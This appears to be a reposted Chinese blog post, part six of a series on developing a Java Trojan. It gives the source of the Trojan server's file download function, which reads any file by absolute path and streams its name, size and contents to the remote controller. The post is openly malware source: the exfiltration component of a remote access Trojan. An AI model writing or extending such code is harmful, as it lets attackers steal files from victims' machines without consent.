java 木马开发(6)---服务端 ---文件下载函数

    xiaoxiao2021-03-26  21

    下载文件   将要传输的文件构建成文件输入流,然后创建一个临时字节数组,不断的读取文件输入流 同时将临时字节数组存入字节数组缓冲区,最后将字节数组缓冲区转化为字节数组传给控制端。     void downFile(String fileAbsolutePath) {         //注意这里要输入文件的绝对路径         File file = new File(fileAbsolutePath);         FileInputStream fis = null;         //在内存中创建一个字节数组缓冲区         ByteArrayOutputStream out = new ByteArrayOutputStream();         try {             fis = new FileInputStream(file); //创建一个文件输入流         } catch (FileNotFoundException e1) {             // TODO Auto-generated catch block             e1.printStackTrace();         }              byte[] b = new byte[1024]; //构建1k字节长度的数组         int n;         try {             //从文件输入流中读入b.length字节长度的数据到b数组中,返回读入的字节数             while ((n = fis.read(b)) != -1) {                   //将b数组从0位置开始,长度是n的数据写入到字节数组缓冲区                 out.write(b, 0, n);             }             if (out != null) {                                   dos.writeUTF("3start");//告诉控制端将要传输文件了                 dos.writeUTF(file.getName());//告诉控制端将要传输的文件名字                 dos.writeInt(out.toByteArray().length);//告诉控制端将要传输的文件大小                 dos.write(out.toByteArray());//开始传输             }         } catch (IOException e) {             e.printStackTrace();         }     }    
    转载请注明原文地址: https://ju.6miu.com/read-659926.html

    最新回复(0)